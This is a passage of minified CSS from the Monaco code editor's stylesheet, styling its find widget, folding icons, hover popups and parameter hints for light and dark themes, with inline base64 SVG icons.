.previous{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiDQoJIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiDQoJIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSItMSAtMyAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAtMSAtMyAxNiAxNiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+DQo8cG9seWdvbiBmaWxsPSIjNDI0MjQyIiBwb2ludHM9IjEzLDQgNiw0IDksMSA2LDEgMiw1IDYsOSA5LDkgNiw2IDEzLDYgIi8+DQo8L3N2Zz4NCg==\")}.monaco-editor .find-widget .next{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiDQoJIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiDQoJIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSItMSAtMyAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAtMSAtMyAxNiAxNiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+DQo8cGF0aCBmaWxsPSIjNDI0MjQyIiBkPSJNMSw0aDdMNSwxaDNsNCw0TDgsOUg1bDMtM0gxVjR6Ii8+DQo8L3N2Zz4NCg==\")}.monaco-editor .find-widget .disabled{opacity:.3;cursor:default}.monaco-editor .find-widget .monaco-checkbox{width:20px;height:20px;display:inline-block;vertical-align:middle;margin-left:3px}.monaco-editor .find-widget .monaco-checkbox .label{content:\"\";display:inline-block;background-repeat:no-repeat;background-position:0 0;background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCI+CjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAsLTEwMzIuMzYyMikiPgogIDxyZWN0IHdpZHRoPSI5IiBoZWlnaHQ9IjIiIHg9IjIiIHk9IjEwNDYuMzYyMiIgc3R5bGU9ImZpbGw6IzQyNDI0MjtmaWxsLW9wYWNpdHk6MTtzdHJva2U6bm9uZSIgLz4KICA8cmVjdCB3aWR0aD0iMTMiIGhlaWdodD0iMiIgeD0iMiIgeT0iMTA0My4zNjIyIiBzdHlsZT0iZmlsbDojNDI0MjQyO2ZpbGwtb3BhY2l0eToxO3N0cm9rZTpub25lIiAvPgogIDxyZWN0IHdpZHRoPSI2IiBoZWlnaHQ9IjIiIHg9IjIiIHk9IjEwNDAuMzYyMiIgc3R5bGU9ImZpbGw6IzQyNDI0MjtmaWxsLW9wYWNpdHk6MTtzdHJva2U6bm9uZSIgLz4KICA8cmVjdCB3aWR0aD0iMTIiIGhlaWdodD0iMiIgeD0iMiIgeT0iMTAzNy4zNjIyIiBzdHlsZT0iZmlsbDojNDI0MjQyO2ZpbGwtb3BhY2l0eToxO3N0cm9rZTpub25lIiAvPgo8L2c+Cjwvc3ZnPg==\");width:20px;height:20px;border:none}.monaco-editor .find-widget .monaco-checkbox .checkbox:disabled+.label{opacity:.3;cursor:default}.monaco-editor .find-widget .monaco-checkbox .checkbox:not(:disabled)+.label{cursor:pointer}.monaco-editor .find-widget .monaco-checkbox .checkbox:not(:disabled):hover:before+.label{background-color:#ddd}.monaco-editor .find-widget .monaco-checkbox .checkbox:checked+.label{background-color:hsla(0,0%,39%,.2)}.monaco-editor .find-widget .close-fw{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iIzQyNDI0MiIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\")}.monaco-editor .find-widget .expand{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iIzY0NjQ2NSIgZD0iTTExIDEwLjA3aC01LjY1Nmw1LjY1Ni01LjY1NnY1LjY1NnoiLz48L3N2Zz4=\")}.monaco-editor .find-widget .collapse{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iIzY0NjQ2NSIgZD0iTTYgNHY4bDQtNC00LTR6bTEgMi40MTRsMS41ODYgMS41ODYtMS41ODYgMS41ODZ2LTMuMTcyeiIvPjwvc3ZnPg==\")}.monaco-editor .find-widget .replace{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCINCgkgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSIwIDAgMTYgMTYiIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgMCAwIDE2IDE2IiB4bWw6c3BhY2U9InByZXNlcnZlIj4NCjxnIGlkPSJpY29uX3g1Rl9iZyI+DQoJPGc+DQoJCTxwYXRoIGZpbGw9IiM0MjQyNDIiIGQ9Ik0xMSwzVjFoLTF2NXYxaDFoMmgxVjRWM0gxMXogTTEzLDZoLTJWNGgyVjZ6Ii8+DQoJCTxwYXRoIGZpbGw9IiM0MjQyNDIiIGQ9Ik0yLDE1aDdWOUgyVjE1eiBNNCwxMGgzdjFINXYyaDJ2MUg0VjEweiIvPg0KCTwvZz4NCjwvZz4NCjxnIGlkPSJjb2xvcl94NUZfaW1wb3J0YW5jZSI+DQoJPHBhdGggZmlsbD0iIzAwNTM5QyIgZD0iTTMuOTc5LDMuNUw0LDZMMyw1djEuNUw0LjUsOEw2LDYuNVY1TDUsNkw0Ljk3OSwzLjVjMC0wLjI3NSwwLjIyNS0wLjUsMC41LTAuNUg5VjJINS40NzkNCgkJQzQuNjUxLDIsMy45NzksMi42NzMsMy45NzksMy41eiIvPg0KPC9nPg0KPC9zdmc+DQo=\")}.monaco-editor .find-widget .replace-all{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCINCgkgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSIwIDAgMTYgMTYiIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgMCAwIDE2IDE2IiB4bWw6c3BhY2U9InByZXNlcnZlIj4NCjxnIGlkPSJpY29uX3g1Rl9iZyI+DQoJPHBhdGggZmlsbD0iIzQyNDI0MiIgZD0iTTExLDE1VjlIMXY2SDExeiBNMiwxNHYtMmgxdi0xSDJ2LTFoM3Y0SDJ6IE0xMCwxMUg4djJoMnYxSDd2LTRoM1YxMXogTTMsMTN2LTFoMXYxSDN6IE0xMyw3djZoLTFWOEg1VjcNCgkJSDEzeiBNMTMsMlYxaC0xdjVoM1YySDEzeiBNMTQsNWgtMVYzaDFWNXogTTExLDJ2NEg4VjRoMXYxaDFWNEg5VjNIOFYySDExeiIvPg0KPC9nPg0KPGcgaWQ9ImNvbG9yX3g1Rl9hY3Rpb24iPg0KCTxwYXRoIGZpbGw9IiMwMDUzOUMiIGQ9Ik0xLjk3OSwzLjVMMiw2TDEsNXYxLjVMMi41LDhMNCw2LjVWNUwzLDZMMi45NzksMy41YzAtMC4yNzUsMC4yMjUtMC41LDAuNS0wLjVIN1YySDMuNDc5DQoJCUMyLjY1MSwyLDEuOTc5LDIuNjczLDEuOTc5LDMuNXoiLz4NCjwvZz4NCjwvc3ZnPg0K\")}.monaco-editor .find-widget>.replace-part{display:none}.monaco-editor .find-widget>.replace-part>.replace-input{display:flex;display:-webkit-flex;vertical-align:middle;width:auto!important}.monaco-editor .find-widget.reduced-find-widget .matchesCount,.monaco-editor .find-widget.reduced-find-widget .monaco-checkbox{display:none}.monaco-editor .find-widget.narrow-find-widget{max-width:257px!important}.monaco-editor .find-widget.collapsed-find-widget{max-width:111px!important}.monaco-editor .find-widget.collapsed-find-widget .button.next,.monaco-editor .find-widget.collapsed-find-widget .button.previous,.monaco-editor .find-widget.collapsed-find-widget .button.replace,.monaco-editor .find-widget.collapsed-find-widget .button.replace-all,.monaco-editor .find-widget.collapsed-find-widget>.find-part .monaco-findInput .controls{display:none}.monaco-editor .find-widget.collapsed-find-widget>.find-part .monaco-inputbox>.wrapper>.input{padding-right:0}.monaco-editor .findMatch{-webkit-animation-duration:0;-webkit-animation-name:inherit!important;-moz-animation-duration:0;-moz-animation-name:inherit!important;-ms-animation-duration:0;-ms-animation-name:inherit!important;animation-duration:0;animation-name:inherit!important}.monaco-editor .find-widget .monaco-sash{width:2px!important;margin-left:-4px}.monaco-editor.hc-black .find-widget .previous,.monaco-editor.vs-dark .find-widget .previous{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiDQoJIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiDQoJIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSItMSAtMyAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAtMSAtMyAxNiAxNiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+DQo8cG9seWdvbiBmaWxsPSIjQzVDNUM1IiBwb2ludHM9IjEzLDQgNiw0IDksMSA2LDEgMiw1IDYsOSA5LDkgNiw2IDEzLDYgIi8+DQo8L3N2Zz4NCg==\")}.monaco-editor.hc-black .find-widget .next,.monaco-editor.vs-dark .find-widget .next{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiDQoJIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiDQoJIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCIgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSItMSAtMyAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAtMSAtMyAxNiAxNiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+DQo8cGF0aCBmaWxsPSIjQzVDNUM1IiBkPSJNMSw0aDdMNSwxaDNsNCw0TDgsOUg1bDMtM0gxVjR6Ii8+DQo8L3N2Zz4NCg==\")}.monaco-editor.hc-black .find-widget .monaco-checkbox .label,.monaco-editor.vs-dark .find-widget .monaco-checkbox .label{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCI+DQo8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwLC0xMDMyLjM2MjIpIj4NCiAgPHJlY3Qgd2lkdGg9IjkiIGhlaWdodD0iMiIgeD0iMiIgeT0iMTA0Ni4zNjIyIiBzdHlsZT0iZmlsbDojQzVDNUM1O2ZpbGwtb3BhY2l0eToxO3N0cm9rZTpub25lIiAvPg0KICA8cmVjdCB3aWR0aD0iMTMiIGhlaWdodD0iMiIgeD0iMiIgeT0iMTA0My4zNjIyIiBzdHlsZT0iZmlsbDojQzVDNUM1O2ZpbGwtb3BhY2l0eToxO3N0cm9rZTpub25lIiAvPg0KICA8cmVjdCB3aWR0aD0iNiIgaGVpZ2h0PSIyIiB4PSIyIiB5PSIxMDQwLjM2MjIiIHN0eWxlPSJmaWxsOiNDNUM1QzU7ZmlsbC1vcGFjaXR5OjE7c3Ryb2tlOm5vbmUiIC8+DQogIDxyZWN0IHdpZHRoPSIxMiIgaGVpZ2h0PSIyIiB4PSIyIiB5PSIxMDM3LjM2MjIiIHN0eWxlPSJmaWxsOiNDNUM1QzU7ZmlsbC1vcGFjaXR5OjE7c3Ryb2tlOm5vbmUiIC8+DQo8L2c+DQo8L3N2Zz4=\")}.monaco-editor.vs-dark .find-widget .monaco-checkbox .checkbox:checked+.label,.monaco-editor.vs-dark .find-widget .monaco-checkbox .checkbox:not(:disabled):hover:before+.label{background-color:hsla(0,0%,100%,.1)}.monaco-editor.hc-black .find-widget .close-fw,.monaco-editor.vs-dark .find-widget .close-fw{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iI2U4ZThlOCIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .find-widget .replace,.monaco-editor.vs-dark .find-widget .replace{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCINCgkgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSIwIDAgMTYgMTYiIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgMCAwIDE2IDE2IiB4bWw6c3BhY2U9InByZXNlcnZlIj4NCjxnIGlkPSJpY29uX3g1Rl9iZyI+DQoJPGc+DQoJCTxwYXRoIGZpbGw9IiNDNUM1QzUiIGQ9Ik0xMSwzVjFoLTF2NXYxaDFoMmgxVjRWM0gxMXogTTEzLDZoLTJWNGgyVjZ6Ii8+DQoJCTxwYXRoIGZpbGw9IiNDNUM1QzUiIGQ9Ik0yLDE1aDdWOUgyVjE1eiBNNCwxMGgzdjFINXYyaDJ2MUg0VjEweiIvPg0KCTwvZz4NCjwvZz4NCjxnIGlkPSJjb2xvcl94NUZfaW1wb3J0YW5jZSI+DQoJPHBhdGggZmlsbD0iIzc1QkVGRiIgZD0iTTMuOTc5LDMuNUw0LDZMMyw1djEuNUw0LjUsOEw2LDYuNVY1TDUsNkw0Ljk3OSwzLjVjMC0wLjI3NSwwLjIyNS0wLjUsMC41LTAuNUg5VjJINS40NzkNCgkJQzQuNjUxLDIsMy45NzksMi42NzMsMy45NzksMy41eiIvPg0KPC9nPg0KPC9zdmc+DQo=\")}.monaco-editor.hc-black .find-widget .replace-all,.monaco-editor.vs-dark .find-widget .replace-all{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMTZweCINCgkgaGVpZ2h0PSIxNnB4IiB2aWV3Qm94PSIwIDAgMTYgMTYiIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgMCAwIDE2IDE2IiB4bWw6c3BhY2U9InByZXNlcnZlIj4NCjxnIGlkPSJpY29uX3g1Rl9iZyI+DQoJPHBhdGggZmlsbD0iI0M1QzVDNSIgZD0iTTExLDE1VjlIMXY2SDExeiBNMiwxNHYtMmgxdi0xSDJ2LTFoM3Y0SDJ6IE0xMCwxMUg4djJoMnYxSDd2LTRoM1YxMXogTTMsMTN2LTFoMXYxSDN6IE0xMyw3djZoLTFWOEg1VjcNCgkJSDEzeiBNMTMsMlYxaC0xdjVoM1YySDEzeiBNMTQsNWgtMVYzaDFWNXogTTExLDJ2NEg4VjRoMXYxaDFWNEg5VjNIOFYySDExeiIvPg0KPC9nPg0KPGcgaWQ9ImNvbG9yX3g1Rl9hY3Rpb24iPg0KCTxwYXRoIGZpbGw9IiM3NUJFRkYiIGQ9Ik0xLjk3OSwzLjVMMiw2TDEsNXYxLjVMMi41LDhMNCw2LjVWNUwzLDZMMi45NzksMy41YzAtMC4yNzUsMC4yMjUtMC41LDAuNS0wLjVIN1YySDMuNDc5DQoJCUMyLjY1MSwyLDEuOTc5LDIuNjczLDEuOTc5LDMuNXoiLz4NCjwvZz4NCjwvc3ZnPg0K\")}.monaco-editor.hc-black .find-widget .expand,.monaco-editor.vs-dark .find-widget .expand{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI2U4ZThlOCIgZD0iTTExIDEwLjA3aC01LjY1Nmw1LjY1Ni01LjY1NnY1LjY1NnoiLz48L3N2Zz4=\")}.monaco-editor.hc-black .find-widget .collapse,.monaco-editor.vs-dark .find-widget .collapse{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI2U4ZThlOCIgZD0iTTYgNHY4bDQtNC00LTR6bTEgMi40MTRsMS41ODYgMS41ODYtMS41ODYgMS41ODZ2LTMuMTcyeiIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .find-widget .button:not(.disabled):hover,.monaco-editor.vs-dark .find-widget .button:not(.disabled):hover{background-color:hsla(0,0%,100%,.1)}.monaco-editor.hc-black .find-widget .button:before{position:relative;top:1px;left:2px}.monaco-editor.hc-black .find-widget .monaco-checkbox .checkbox:checked+.label{background-color:hsla(0,0%,100%,.1)}.monaco-editor .margin-view-overlays .folding{margin-left:5px;cursor:pointer;background-repeat:no-repeat;background-origin:border-box;background-position:3px;background-size:15px;opacity:0;transition:opacity .5s;background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB2aWV3Qm94PSIwIDAgMTUgMTUiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDE1IDE1OyI+CjxwYXRoIHN0eWxlPSJmaWxsOiNCNkI2QjYiIGQ9Ik0xMSw0djdINFY0SDExIE0xMiwzSDN2OWg5VjNMMTIsM3oiLz4KPGxpbmUgc3R5bGU9ImZpbGw6bm9uZTtzdHJva2U6IzZCNkI2QjtzdHJva2UtbWl0ZXJsaW1pdDoxMCIgeDE9IjEwIiB5MT0iNy41IiB4Mj0iNSIgeTI9IjcuNSIvPgo8L3N2Zz4=\")}.monaco-editor.hc-black .margin-view-overlays .folding,.monaco-editor.vs-dark .margin-view-overlays .folding{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB2aWV3Qm94PSIwIDAgMTUgMTUiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDE1IDE1OyI+CjxwYXRoIHN0eWxlPSJmaWxsOiM1QTVBNUEiIGQ9Ik0xMSw0djdINFY0SDExIE0xMiwzSDN2OWg5VjNMMTIsM3oiLz4KPGxpbmUgc3R5bGU9ImZpbGw6bm9uZTtzdHJva2U6I0M1QzVDNTtzdHJva2UtbWl0ZXJsaW1pdDoxMCIgeDE9IjEwIiB5MT0iNy41IiB4Mj0iNSIgeTI9IjcuNSIvPgo8L3N2Zz4=\")}.monaco-editor.alwaysShowFoldIcons .margin-view-overlays .folding,.monaco-editor .margin-view-overlays:hover .folding{opacity:1}.monaco-editor .margin-view-overlays .folding.collapsed{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB2aWV3Qm94PSIwIDAgMTUgMTUiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDE1IDE1OyI+CjxyZWN0IHg9IjMiIHk9IjMiIHN0eWxlPSJmaWxsOiNFOEU4RTgiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiLz4KPHBhdGggc3R5bGU9ImZpbGw6I0I2QjZCNiIgZD0iTTExLDR2N0g0VjRIMTEgTTEyLDNIM3Y5aDlWM0wxMiwzeiIvPgo8bGluZSBzdHlsZT0iZmlsbDpub25lO3N0cm9rZTojNkI2QjZCO3N0cm9rZS1taXRlcmxpbWl0OjEwIiB4MT0iMTAiIHkxPSI3LjUiIHgyPSI1IiB5Mj0iNy41Ii8+CjxsaW5lIHN0eWxlPSJmaWxsOm5vbmU7c3Ryb2tlOiM2QjZCNkI7c3Ryb2tlLW1pdGVybGltaXQ6MTAiIHgxPSI3LjUiIHkxPSI1IiB4Mj0iNy41IiB5Mj0iMTAiLz4KPC9zdmc+\");opacity:1}.monaco-editor.hc-black .margin-view-overlays .folding.collapsed,.monaco-editor.vs-dark .margin-view-overlays .folding.collapsed{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB2aWV3Qm94PSIwIDAgMTUgMTUiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDE1IDE1OyI+CjxyZWN0IHg9IjMiIHk9IjMiIHN0eWxlPSJvcGFjaXR5OjAuMTtmaWxsOiNGRkZGRkYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiLz4KPHBhdGggc3R5bGU9ImZpbGw6IzVBNUE1QSIgZD0iTTExLDR2N0g0VjRIMTEgTTEyLDNIM3Y5aDlWM0wxMiwzeiIvPgo8bGluZSBzdHlsZT0iZmlsbDpub25lO3N0cm9rZTojQzVDNUM1O3N0cm9rZS1taXRlcmxpbWl0OjEwIiB4MT0iMTAiIHkxPSI3LjUiIHgyPSI1IiB5Mj0iNy41Ii8+CjxsaW5lIHN0eWxlPSJmaWxsOm5vbmU7c3Ryb2tlOiNDNUM1QzU7c3Ryb2tlLW1pdGVybGltaXQ6MTAiIHgxPSI3LjUiIHkxPSI1IiB4Mj0iNy41IiB5Mj0iMTAiLz4KPC9zdmc+\")}.monaco-editor .inline-folded:after{color:grey;margin:.1em .2em 0;content:\"⋯\";display:inline;line-height:1em;cursor:pointer}.monaco-editor .goto-definition-link{text-decoration:underline;cursor:pointer}.monaco-editor .monaco-editor-overlaymessage{padding-bottom:8px}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.monaco-editor .monaco-editor-overlaymessage.fadeIn{animation:fadeIn .15s ease-out}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}.monaco-editor .monaco-editor-overlaymessage.fadeOut{animation:fadeOut .1s ease-out}.monaco-editor .monaco-editor-overlaymessage .message{padding:1px 4px}.monaco-editor .monaco-editor-overlaymessage .anchor{width:0!important;height:0!important;border:8px solid transparent;z-index:8;position:absolute}.monaco-editor .marker-widget{padding-left:2px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.monaco-editor .marker-widget>.stale{opacity:.6;font-style:italic}.monaco-editor .marker-widget div.block{display:inline-block;vertical-align:top}.monaco-editor .marker-widget .title{display:inline-block;padding-right:5px}.monaco-editor .marker-widget .descriptioncontainer{white-space:pre;-webkit-user-select:text;user-select:text}.monaco-editor-hover{cursor:default;position:absolute;overflow:hidden;z-index:5;-webkit-user-select:text;-ms-user-select:text;-moz-user-select:text;-o-user-select:text;user-select:text;box-sizing:initial;animation:fadein .1s linear;line-height:1.5em}.monaco-editor-hover.hidden{display:none}.monaco-editor-hover .monaco-editor-hover-content{max-width:500px}.monaco-editor-hover .monaco-scrollable-element{visibility:visible}.monaco-editor-hover .hover-row{padding:4px 5px}.monaco-editor-hover p,.monaco-editor-hover ul{margin:8px 0}.monaco-editor-hover p:first-child,.monaco-editor-hover ul:first-child{margin-top:0}.monaco-editor-hover p:last-child,.monaco-editor-hover ul:last-child{margin-bottom:0}.monaco-editor-hover ul{padding-left:20px}.monaco-editor-hover li>p{margin-bottom:0}.monaco-editor-hover li>ul{margin-top:0}.monaco-editor-hover code{border-radius:3px;padding:0 .4em}.monaco-editor-hover .monaco-tokenized-source{white-space:pre-wrap;word-break:break-all}.monaco-editor .detected-link,.monaco-editor .detected-link-active{text-decoration:underline}.monaco-editor .detected-link-active{cursor:pointer}.monaco-editor .parameter-hints-widget{z-index:3;display:flex;flex-direction:column;line-height:1.5em}.monaco-editor .parameter-hints-widget>.wrapper{max-width:440px;display:flex;flex-direction:column}.monaco-editor .parameter-hints-widget.multiple{min-height:3.3em;padding:0 0 0 1.9em}.monaco-editor .parameter-hints-widget.visible{transition:left .05s ease-in-out}.monaco-editor .parameter-hints-widget p,.monaco-editor .parameter-hints-widget ul{margin:8px 0}.monaco-editor .parameter-hints-widget .body,.monaco-editor .parameter-hints-widget .monaco-scrollable-element{display:flex;flex-direction:column}.monaco-editor .parameter-hints-widget .signature{padding:4px 5px}.monaco-editor .parameter-hints-widget .docs{padding:0 10px 0 5px;white-space:pre-wrap}.monaco-editor .parameter-hints-widget .buttons{position:absolute;display:none;bottom:0;left:0}.monaco-editor .parameter-hints-widget.multiple .buttons{display:block}.monaco-editor .parameter-hints-widget.multiple .button{position:absolute;left:2px;width:16px;height:16px;background-repeat:no-repeat;cursor:pointer}.monaco-editor .parameter-hints-widget .button.previous{bottom:24px;background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iIzQyNDI0MiIgZD0iTTEwLjggOS41bC45LS45TDguMSA1IDQuMiA4LjZsLjkuOSAzLTIuNyAyLjcgMi43eiIvPjwvc3ZnPg==\")}.monaco-editor .parameter-hints-widget .button.next{bottom:0;background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iIzQyNDI0MiIgZD0iTTUuMSA1bC0uOS45IDMuNiAzLjYgMy45LTMuNi0xLS45LTMgMi43TDUuMSA1eiIvPjwvc3ZnPg==\")}.monaco-editor .parameter-hints-widget .overloads{position:absolute;display:none;text-align:center;bottom:14px;left:0;width:22px;height:12px;line-height:12px;opacity:.5}.monaco-editor .parameter-hints-widget.multiple .overloads{display:block}.monaco-editor .parameter-hints-widget .signature .parameter{display:inline-block}.monaco-editor .parameter-hints-widget .signature .parameter.active{font-weight:700;text-decoration:underline}.monaco-editor .parameter-hints-widget .documentation-parameter>.parameter{font-weight:700;margin-right:.5em}.monaco-editor.hc-black .parameter-hints-widget .button.previous,.monaco-editor.vs-dark .parameter-hints-widget .button.previous{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iI0U4RThFOCIgZD0iTTEwLjggOS41bC45LS45TDguMSA1IDQuMiA4LjZsLjkuOSAzLTIuNyAyLjcgMi43eiIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .parameter-hints-widget .button.next,.monaco-editor.vs-dark .parameter-hints-widget .button.next{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iI0U4RThFOCIgZD0iTTUuMSA1bC0uOS45IDMuNiAzLjYgMy45LTMuNi0xLS45LTMgMi43TDUuMSA1eiIvPjwvc3ZnPg==\")}.monaco-editor .lightbulb-glyph{display:flex;align-items:center;justify-content:center;height:16px;width:16px}.monaco-editor 